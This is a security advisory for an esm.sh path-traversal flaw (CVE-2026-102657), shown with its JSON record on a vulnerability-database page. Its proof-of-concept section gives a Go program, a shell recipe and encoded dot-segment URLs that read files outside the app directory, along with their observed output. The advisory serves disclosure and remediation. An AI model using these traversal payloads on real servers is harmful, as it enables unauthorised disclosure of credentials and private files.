GHSA-G3C2-RJQ2-C763
Vulnerability from github – Published: 2026-11-09 22:03 – Updated: 2026-11-09 22:03Summary
The documented web.NewHandler static file server can read files outside Config.AppDir when the request path contains URL-encoded dot-segments such as %2e%2e. Go's ServeMux redirects plain /../ paths, but it passes encoded dot-segments to the handler after decoding r.URL.Path. The handler then calls filepath.Join(s.config.AppDir, r.URL.Path) without checking that the result remains under AppDir, allowing unauthenticated arbitrary file reads with the server process privileges.
Details
web/README.md:34-40 documents a network-facing setup:
http.Handle("GET /", web.NewHandler(web.Config{
AppDir: "/path/to/webapp",
Fallback: "/index.html",
Dev: false,
}))
log.Fatal(http.ListenAndServe(":8080", nil))
In web/handler.go:62-75, the handler takes r.URL.Path and joins it directly with s.config.AppDir:
pathname := r.URL.Path
filename := filepath.Join(s.config.AppDir, pathname)
fi, err := os.Lstat(filename)
Later the same resolved filename is opened and copied to the response in web/handler.go:150-166 for non-HTML/static files. There is no filepath.IsLocal, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file.
A plain /../secret.txt path is redirected by Go's ServeMux, but an encoded path such as /%2e%2e/secret.txt is decoded into r.URL.Path == "/../secret.txt" and reaches the handler. On Linux, filepath.Join("/tmp/root/app", "/../secret.txt") resolves to /tmp/root/secret.txt, outside the configured app directory.
Source-to-sink chain:
Unauthenticated HTTP request path containing URL-encoded dot-segments
-> net/http decodes path into r.URL.Path
-> documented ServeMux setup passes encoded dot-segment path to web.NewHandler
-> web/handler.go joins Config.AppDir with r.URL.Path
-> os.Lstat/os.Open operate on the escaped path
-> io.Copy returns file contents to the attacker
False-positive checks performed:
- Plain dot-segment paths are redirected by http.ServeMux, but encoded dot-segments are not blocked and reach the handler.
- The PoC uses the documented http.Handle("GET /", web.NewHandler(...)) setup, not a custom bypass of ServeMux.
- A control request for /secret.txt does not read the outside file; the disclosure requires encoded traversal segments.
- The issue is independent of Dev/HMR; it reproduces with Dev: false.
- The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure.
Candidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches os.Open, file disclosure was reproduced locally, and no root containment mitigation is present.
PoC
This safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded .. path segments.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"os"
"strings"
"github.com/esm-dev/esm.sh/web"
)
func main() {
mux := http.NewServeMux()
mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))
for _, target := range []string{
"http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt",
"http://example/secret.txt",
} {
rr := httptest.NewRecorder()
req := httptest.NewRequest("GET", target, nil)
mux.ServeHTTP(rr, req)
fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n",
target,
rr.Code,
rr.Header().Get("Location"),
strings.Contains(rr.Body.String(), "ancestor-secret-marker"),
rr.Body.String(),
)
}
}
Maintainer-runnable clean-checkout recipe:
tmp=$(mktemp -d)
mkdir -p "$tmp/root/a/b/app"
printf 'ancestor-secret-marker' > "$tmp/root/secret.txt"
printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html"
cat > "$tmp/poc.go" <<'EOF'
[place the PoC above here]
EOF
go run "$tmp/poc.go" "$tmp/root/a/b/app"
rm -rf "$tmp"
Observed vulnerable output in this environment:
http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"
Final re-check after drafting reproduced the same output:
http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker"
http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>"
Additional parser/control evidence observed locally:
http://example/../secret.txt => status=307 loc="/secret.txt"
handler Path="/../secret.txt" RawPath="/%2e%2e/secret.txt"
http://example/%2e%2e/secret.txt => status=204 loc=""
http://example/a/../../secret.txt => status=307 loc="/secret.txt"
This confirms that the documented ServeMux setup redirects plain traversal paths but lets encoded dot-segments reach the handler.
Impact
An unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories.
The impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit.
Suggested remediation
Normalize request paths into a cleaned relative path before joining them with AppDir, and reject any path that is not local. A robust pattern is:
- reject paths containing NUL bytes,
- use
path.Clean("/" + r.URL.EscapedPath())or an equivalent URL-path canonicalization step, - trim the leading slash and reject non-local paths with
filepath.IsLocal, - join only the validated relative path to
AppDir, - optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root,
- consider symlink policy explicitly if symlinks inside
AppDirshould not escape the app root.
Add regression tests for /%2e%2e/secret.txt, multi-level encoded traversal, plain /../ behavior, and normal in-app file serving.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh/web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102657"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T22:03:29Z",
"nvd_published_at": "2026-11-06T21:17:05Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe documented `web.NewHandler` static file server can read files outside `Config.AppDir` when the request path contains URL-encoded dot-segments such as `%2e%2e`. Go\u0027s `ServeMux` redirects plain `/../` paths, but it passes encoded dot-segments to the handler after decoding `r.URL.Path`. The handler then calls `filepath.Join(s.config.AppDir, r.URL.Path)` without checking that the result remains under `AppDir`, allowing unauthenticated arbitrary file reads with the server process privileges.\n\n### Details\n\n`web/README.md:34-40` documents a network-facing setup:\n\n```go\nhttp.Handle(\"GET /\", web.NewHandler(web.Config{\n AppDir: \"/path/to/webapp\",\n Fallback: \"/index.html\",\n Dev: false,\n}))\nlog.Fatal(http.ListenAndServe(\":8080\", nil))\n```\n\nIn `web/handler.go:62-75`, the handler takes `r.URL.Path` and joins it directly with `s.config.AppDir`:\n\n```go\npathname := r.URL.Path\nfilename := filepath.Join(s.config.AppDir, pathname)\nfi, err := os.Lstat(filename)\n```\n\nLater the same resolved filename is opened and copied to the response in `web/handler.go:150-166` for non-HTML/static files. There is no `filepath.IsLocal`, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file.\n\nA plain `/../secret.txt` path is redirected by Go\u0027s `ServeMux`, but an encoded path such as `/%2e%2e/secret.txt` is decoded into `r.URL.Path == \"/../secret.txt\"` and reaches the handler. On Linux, `filepath.Join(\"/tmp/root/app\", \"/../secret.txt\")` resolves to `/tmp/root/secret.txt`, outside the configured app directory.\n\nSource-to-sink chain:\n\n```text\nUnauthenticated HTTP request path containing URL-encoded dot-segments\n-\u003e net/http decodes path into r.URL.Path\n-\u003e documented ServeMux setup passes encoded dot-segment path to web.NewHandler\n-\u003e web/handler.go joins Config.AppDir with r.URL.Path\n-\u003e os.Lstat/os.Open operate on the escaped path\n-\u003e io.Copy returns file contents to the attacker\n```\n\nFalse-positive checks performed:\n- Plain dot-segment paths are redirected by `http.ServeMux`, but encoded dot-segments are not blocked and reach the handler.\n- The PoC uses the documented `http.Handle(\"GET /\", web.NewHandler(...))` setup, not a custom bypass of ServeMux.\n- A control request for `/secret.txt` does not read the outside file; the disclosure requires encoded traversal segments.\n- The issue is independent of `Dev`/HMR; it reproduces with `Dev: false`.\n- The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure.\n\nCandidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches `os.Open`, file disclosure was reproduced locally, and no root containment mitigation is present.\n\n### PoC\n\nThis safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded `..` path segments.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n \"os\"\n \"strings\"\n\n \"github.com/esm-dev/esm.sh/web\"\n)\n\nfunc main() {\n mux := http.NewServeMux()\n mux.Handle(\"GET /\", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))\n for _, target := range []string{\n \"http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt\",\n \"http://example/secret.txt\",\n } {\n rr := httptest.NewRecorder()\n req := httptest.NewRequest(\"GET\", target, nil)\n mux.ServeHTTP(rr, req)\n fmt.Printf(\"%s =\u003e status=%d location=%q contains_secret=%v body=%q\\n\",\n target,\n rr.Code,\n rr.Header().Get(\"Location\"),\n strings.Contains(rr.Body.String(), \"ancestor-secret-marker\"),\n rr.Body.String(),\n )\n }\n}\n```\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\ntmp=$(mktemp -d)\nmkdir -p \"$tmp/root/a/b/app\"\nprintf \u0027ancestor-secret-marker\u0027 \u003e \"$tmp/root/secret.txt\"\nprintf \u0027\u003ch1\u003einside\u003c/h1\u003e\u0027 \u003e \"$tmp/root/a/b/app/index.html\"\ncat \u003e \"$tmp/poc.go\" \u003c\u003c\u0027EOF\u0027\n[place the PoC above here]\nEOF\ngo run \"$tmp/poc.go\" \"$tmp/root/a/b/app\"\nrm -rf \"$tmp\"\n```\n\nObserved vulnerable output in this environment:\n\n```text\nhttp://example/%2e%2e/%2e%2e/%2e%2e/secret.txt =\u003e status=200 location=\"\" contains_secret=true body=\"ancestor-secret-marker\"\nhttp://example/secret.txt =\u003e status=200 location=\"\" contains_secret=false body=\"\u003ch1\u003einside\u003c/h1\u003e\"\n```\n\nFinal re-check after drafting reproduced the same output:\n\n```text\nhttp://example/%2e%2e/%2e%2e/%2e%2e/secret.txt =\u003e status=200 location=\"\" contains_secret=true body=\"ancestor-secret-marker\"\nhttp://example/secret.txt =\u003e status=200 location=\"\" contains_secret=false body=\"\u003ch1\u003einside\u003c/h1\u003e\"\n```\n\nAdditional parser/control evidence observed locally:\n\n```text\nhttp://example/../secret.txt =\u003e status=307 loc=\"/secret.txt\"\nhandler Path=\"/../secret.txt\" RawPath=\"/%2e%2e/secret.txt\"\nhttp://example/%2e%2e/secret.txt =\u003e status=204 loc=\"\"\nhttp://example/a/../../secret.txt =\u003e status=307 loc=\"/secret.txt\"\n```\n\nThis confirms that the documented `ServeMux` setup redirects plain traversal paths but lets encoded dot-segments reach the handler.\n\n### Impact\n\nAn unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories.\n\nThe impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit.\n\n### Suggested remediation\n\nNormalize request paths into a cleaned relative path before joining them with `AppDir`, and reject any path that is not local. A robust pattern is:\n\n- reject paths containing NUL bytes,\n- use `path.Clean(\"/\" + r.URL.EscapedPath())` or an equivalent URL-path canonicalization step,\n- trim the leading slash and reject non-local paths with `filepath.IsLocal`,\n- join only the validated relative path to `AppDir`,\n- optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root,\n- consider symlink policy explicitly if symlinks inside `AppDir` should not escape the app root.\n\nAdd regression tests for `/%2e%2e/secret.txt`, multi-level encoded traversal, plain `/../` behavior, and normal in-app file serving.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
"id": "GHSA-g3c2-rjq2-c763",
"modified": "2026-11-09T22:03:29Z",
"published": "2026-11-09T22:03:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102657"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/pull/1376"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/fc3b345e73aeaa0b7a05b6f27d91c05fdf5f9b53"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v0.2.0"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137_7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.